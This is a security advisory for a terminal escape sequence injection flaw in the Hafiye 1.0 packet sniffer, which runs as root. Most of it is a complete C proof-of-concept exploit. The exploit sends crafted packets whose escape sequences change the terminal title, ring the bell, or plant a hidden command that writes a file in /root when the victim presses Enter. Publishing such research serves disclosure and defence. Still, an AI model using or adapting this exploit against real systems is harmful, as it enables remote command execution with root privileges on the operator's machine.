Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability

[Serkan Akpolat <sakpolat () gmx net>]

+-------[         Software         ]--------------+

Hafiye [1.0] "POSIX-compliant, customizable TCP/IP packet sniffer."

+-------[      Tested Versions     ]--------------+

Hafiye[1.0]
Tested on:Linux(Hafiye compiled from tarball)
          FreeBSD 4.7 (Installed from CD)

+-------[      Vulnerability       ]--------------+

Packet Payload Terminal Escape Sequence Injection Vulnerability.

Results: DoS/Remote Root Comprimise

+-------[      Description         ]--------------+

Hafiye[1.0] is a POSIX-compliant, customizable TCP/IP packet sniffer.
It runs with uid0 privilege.

Hafiye-1.0 doesnt filter the payload when printing it to the terminal.
A malicious attacker can send packets with escape sequence payloads
to exploit this vulnerability.

If Hafiye has been started with -n packet count option ,
the vulnerability could allow remote code execution.
For remote code execution  the victim must press Enter after program exit.

+-------[         Contact          ]--------------+

http://deicide.siyahsapka.org

        deicide () siyahsapka org


+-------[ Proof Of Concept Exploit ]--------------+


/* Remote Exploit for Hafiye-1.0
** Terminal Escape Sequence Injection Vulnerability
** Written by Serkan Akpolat
** Homepage: http://deicide.siyahsapka.org
** E-mail: deicide () siyahsapka org
** Greets: Virulent, gorny and all other netricians
*/
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>

typedef struct _target {
    char *host;
    u_short port;
    unsigned int sequence;
    unsigned int cnt;
} target;

char *esc_sequence[]= {"Escape Sequences",
                       "\x1b""]2;Insecure?""\x07\x0a",
                       "\x07\x07\x07\x07\x07\x07",
                       "\x1b""]2;;echo Owned > /root/Owned.txt"
                       "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
                       "Abnormal Termination""\x1b"
                       "[8m;""\x0a"};


char use[] ="\t[ -h host ] [ -p port ] [ -e esc-seq-n ] [ -l number ]\n"
            "\t  Escape Sequences :\n"
            "\t1-Change TitleBar Text to \"Insecure?\"\n"
            "\t2-Ring The Bell\n"
            "\t3-Hidden Prompt to Create Owned.txt in /root\n"
            "\tExample: ./exp -h 192.168.0.3 -p 80 -e 1 -l 1\n";

void usage()
{
    printf("%s",use);
    exit(1);
}

int connect_to_host(char *host, u_short port)
{
    int sock = 0;
    struct hostent *hp;
    struct sockaddr_in sa;

    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
        herror("Error:");
       exit(1);
    }
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0)
        exit(1);

    if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
        exit(1);

    printf("[+] Connected to %s\n", host);
    return sock;
}

int main(int argc, char **argv)
{
    int i;
    int sock = 0;
    char buf[256]="\0";
    target target;
    memset(&target,0,sizeof(target));
    while ((i = getopt(argc, argv, "h:p:e:l:")) != -1) {
        switch (i) {
            case 'h':
                target.host = optarg;
                break;
            case 'p':
                target.port = (u_short)atoi(optarg);
                break;
            case 'e':
                target.sequence = atoi(optarg);
                if(target.sequence < 1 || target.sequence > 3) {
                    usage();
                }
                break;
            case 'l':
                target.cnt=atoi(optarg);
                if(target.cnt<1) {
                    target.cnt=1;
                }
                break;
            case ':':
            case '?':
            default:
                usage();
                exit(1);
        }
    }
    if (optind != argc  || !target.host || !target.port ||
       !target.sequence || !target.cnt) {
        usage();
    }

    sock = connect_to_host(target.host, target.port);
    strncpy(buf,esc_sequence[target.sequence],sizeof(buf)-1);


    printf("[+] Sending Escape Sequences\n");
    do {
        if (send(sock, buf, strlen(buf), 0) < 0) {
            printf("Socket Error\n");
            exit(1);
        }
        target.cnt--;
    } while(target.cnt > 0);
    close(sock);
    return 0;
}

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